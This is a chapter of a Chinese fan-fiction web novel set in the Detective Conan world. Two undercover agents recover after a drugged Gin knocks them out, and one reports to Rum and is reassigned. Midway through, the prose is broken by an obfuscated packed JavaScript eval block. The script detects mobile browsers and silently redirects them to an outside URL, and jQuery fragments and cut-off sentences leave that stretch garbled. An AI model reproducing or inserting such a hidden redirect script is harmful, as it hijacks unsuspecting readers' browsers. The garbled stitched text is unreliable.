默认冷灰
24号文字
方正启体

24. 第 24 章

作者:江秋水本书字数:K更新时间:
    绿川光先醒了过来。他原本应该没那么快醒的,但是他额外被琴酒又踢了一脚,没过一会疼醒了。


    后颈的疼痛和胸口的压迫感让他瞬间清醒。他猛地坐起,动作牵动伤口,忍不住闷哼一声。


    “安室……”他转头看见旁边昏迷的安室透,心里一沉。


    爬过去检查。还好,呼吸平稳,只是被砸晕了,额角有血肿。绿川光稍微松了口气,然后听见了浴室的水声。


    他看向紧闭的浴室门。


    琴酒在里面。


    刚才发生了什么?琴酒为什么突然攻击?那种状态……绝对不正常。不是普通的中毒,也不是受伤。


    还有那场大雪。是因为痛苦而产生的幻觉吗?


    他转头,看见安室透倒在两米外,额头磕在地板边缘,血已经凝固成暗红色的痂。金发凌乱地遮住半边脸,呼吸微弱但平稳。


    还活着。


    绿川光爬过去,这个动作让肋骨又抗议了一次,伸手探幼驯染的颈动脉。跳动有力。他稍微松了口气,然后表情严肃起来。


    他撑着地板站起,环视这个他熟悉的安全屋:茶几被撞歪了,地毯皱成一团,自己的配枪掉在玄关处,而琴酒的枪……


    不见了。大概还被琴酒收着,他还拿着枪。


    琴酒还拿着枪!


    他走到安室透身边,跪下来,轻轻摇晃对方的肩膀:“醒醒。”


    安室透没反应。


    “降谷零。”绿川光压低声音在对方耳边换了个称呼,力道加重,“zero。”


    安室透的眼皮颤了颤,缓缓睁开。


    那双紫灰色的眼睛里先是茫然,然后是瞬间的锐利,他看见了绿川光,看见了天花板,记忆回涌。


    “……他呢?”安室透的声音沙哑得可怕。


    绿川光用眼神示意浴室方向。


    安室透想坐起来,但刚抬头就发出一声压抑的闷哼。绿川光扶住他,让他靠坐在墙边。


    “头骨没裂。”绿川光快速检查,“额头挫伤,轻微脑震荡。你晕了一个多小时”


    安室透按住太阳穴,试图驱散那嗡嗡作响的耳鸣,“那他……”


    “在浴室。好像一直在冲冷水。”


    两人沉默了几秒。冷水冲刷的声音在寂静的公寓里显得格外清晰,像某种倒计时。


    “绿川。”安室透突然开口,声音压得很低,“你给他下了什么?”


    绿川光一愣:“什么?”


    “药。”安室透抬眼看他,眼神复杂,宛如看见天使在偷窃,满脸恨铁不成钢以及一种,你怎么堕落成那样了的表情“你给他下了什么药,让他变成那样?”


    “我没有——”


    “我没有!”绿川光的声音提高了,带着真实的震惊和一丝受伤,“你为什么会这么想?我怎么可能做那种事!”


    “那你解释。”安室透盯着他,“解释为什么琴酒会那种状态。解释你为什么带他来这里而不是随便丢在酒店。”


    绿川光哑口无言。


    因为他说不清。


    “……有人给他下了药。”绿川光最终说,“在宴会上。我看见了,一个男人想带他走。我介入,发现他状态不对,就带他离开。至于为什么来这里……”


    他顿了顿。


    “他说要找个保密性高的地方……”


    “唯一的选择是带回有两个卧底的安全屋?”安室透嗤笑一声,但眼神缓和了些。他当然不认为幼驯染会蠢到用这种方式上位,但刚才那一瞬间的怀疑,是情报人员本能的警惕。


    那不是降谷零的本能,那是安室透的本能。


    那是安室透的本能……他心下一冷。


    “你可以送他去酒店。”他说,语气恢复了平日的冷静,“随便开间房,丢给哪个想攀高枝的外围成员。我听说不少人想和他春风一度,你这是在给他们创造机会?”


    安室透想起昏迷前最后看见的画面。


    琴酒骑在他身上,银发垂落,那张总是冷硬得像雕塑的脸,在混乱中呈现出一种惊人的、脆弱的美感。汗水从他的下颌滑落,滴在安室透的衬衫上,留下深色的圆点。


    好看得不得了。


    绿川光的表情僵了一下。


    “我……”他张了张嘴,最终说,“我没想那么多。”


    这是实话。但是为什么?


    绿川光自己也不知道。


    安室透看着他,叹了口气:“算了。现在怎么办?他不能死在这里。你进门时没告诉他我在?”


    “……没有。”绿川光承认,“事发突然。”


    “那他现在的状态,肯定认为我们是合谋。”安室透按着额头的伤处,疼痛让他思维更清晰,“我们看到了他最失控的样子。以琴酒的作风,很可能第二天会把我们崩了………”


    “没有可能听我们解释。”


    可是现在撤出组织太不现实了,且不说公安是否有这个时间和能力去接应,他自己也不愿意走。


    他几乎都没收集到什么核心的,公安所要求的关于a药实验室的信息。


    安室透低声说,“你和我都进了一个大麻烦里。”


    绿川光沉默了。他知道安室透说得对。


    “先处理伤口。”他最终说,踉跄着走向储物柜,拿出那个黑漆漆的医疗箱。


    绿川光先给安室透清洗额头的伤口,涂上促进愈合的凝胶,贴上防水敷料。


    然后他脱下自己的衬衫,露出肋骨处大片的青紫。安室透看见,皱起眉。


    “那一脚?”


    “嗯。”绿川光把镇痛喷雾喷在伤处,冰凉的触感让他忍不住吸气,“他补的。大概是想确认我晕透了?”


    绿川光猜测道。


    “……真狠。”安室透说,但语气里有一丝复杂的情绪,“在那种状态下还能精准控制力道,只造成挫伤不伤及内脏。不愧是Top Killer。”


    安室透完全没有想可能是因为琴酒有一种欲望让他没舍得下狠手,否则他们都醒不来。


    绿川光没接话。他快速处理好自己的伤,然后开始在医疗箱里翻找。


    “你在找什么?”安室透问。


    “枪伤处理包。”绿川光头也不抬,“他有枪伤。在车上时,他给了自己一枪。”


    安室透愣住了。


    “……什么?”


    “右臂,靠近肩膀的位置。”绿川光找到了那个银色的小包,“为了用疼痛保持清醒。我看见了。”


    安室透盯着那个枪伤处理包,一时间说不出话。


    这是什么样的意志力?


    不,这是什么样的……疯狂?


    “他……”安室透最终带着点茫然的问,“他真的,在那种情况下,还能把我们两个都放倒?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984269|193604||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    绿川光点了点头:“的确,并且精度把握的十分准确”


    两人异口同声感叹道:不愧是琴酒,组织势力庞大,卧底任务艰辛而漫长。


    好的,误会更深了。


    他在浴室门前停下,深吸一口气,抬手敲门。


    “琴酒大人。”他的声音尽量平稳,“我拿了枪伤处理包。您需要帮忙吗?”


    绿川光等了几秒,又说:“我没有恶意。只是处理伤口。如果您不想我进去,我可以放在门口。”


    绿川光蹲下,把处理包放在门边,然后退后几步,以示诚意。


    安室透看着他做完这一切,突然开口:“我得联系朗姆。”


    绿川光猛地回头:“什么?”


    “现在的情况,已经不是我们能处理的了。”安室透已经拿出加密手机,“如果事后他追究,是肯定会追究!我们两个都可能被清理。”


    “我需要朗姆大人的庇护,可能他也不想庇护,但是万一呢?他好歹用我用的很顺手,也没别的办法了。”


    “而且琴酒的伤我没有权限调动人来疗伤,他现在的状态也没办法自己找医疗组吧。”


    “但朗姆和琴酒本来就不和!”绿川光压低声音,“你把这件事报上去,朗姆会怎么利用?”


    “总比明天被琴酒一枪崩了强。”安室透已经开始输入代码,“万一他幸灾乐祸为了看琴酒的好戏,恶心他就让我活着了……”


    虽然可能从今往后要面临琴酒的针对和追杀……


    他看了绿川光一眼。


    “而你……就说你是我叫来帮忙的。把责任推给我。”


    绿川光想说什么,但安室透已经拨通了那个加密频道。


    等待接通的提示音在寂静的公寓里格外刺耳。一声,两声,三声——


    “说。”朗姆的声音传来,低沉,带着被打扰的不悦。现在是凌晨三点。


    “朗姆大人。”安室透立刻进入状态,语气恭敬而急促,把事情解释了一下”


    他故意模糊了细节,把“琴酒中了春药失控包装成“因为枪伤警惕而把他们揍了一顿”,试图给自己一点更大的希望。


    毕竟说琴酒中了枪伤可能会被杀,说对方中了春药一定会死。


    对面沉默了一会。


    良久,朗姆开口,声音里有一种奇特的、几乎可以称之为“愉悦”的冷意。


    “我知道了。受了枪伤,呵呵……这个消息很不错,我会借此机会好好对付他的……”


    然后——


    通话被切断了。


    安室透愣住,看向手机屏幕。连接已断开。


    “……他挂了?”绿川光问。


    “不。”安室透的表情一点点沉下去,“他不是挂了。他是——”


    话音未落,他的手机震动起来。


    不是来电。是一封加密邮件。


    发件人:朗姆。


    主题:处置权移交。


    正文只有一句话:


    【琴酒的事,你自己处理。你被转移到行动组了】


    安室透盯着那行字,血液一点点冷下去。


    绿川光凑过来看屏幕,也僵住了。


    朗姆把安室透“送”给了琴酒。


    他满意他所看到的,满意琴酒的窘迫,但是这没什么用,也并不在乎安室透的死活。


    可恶的朗姆!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)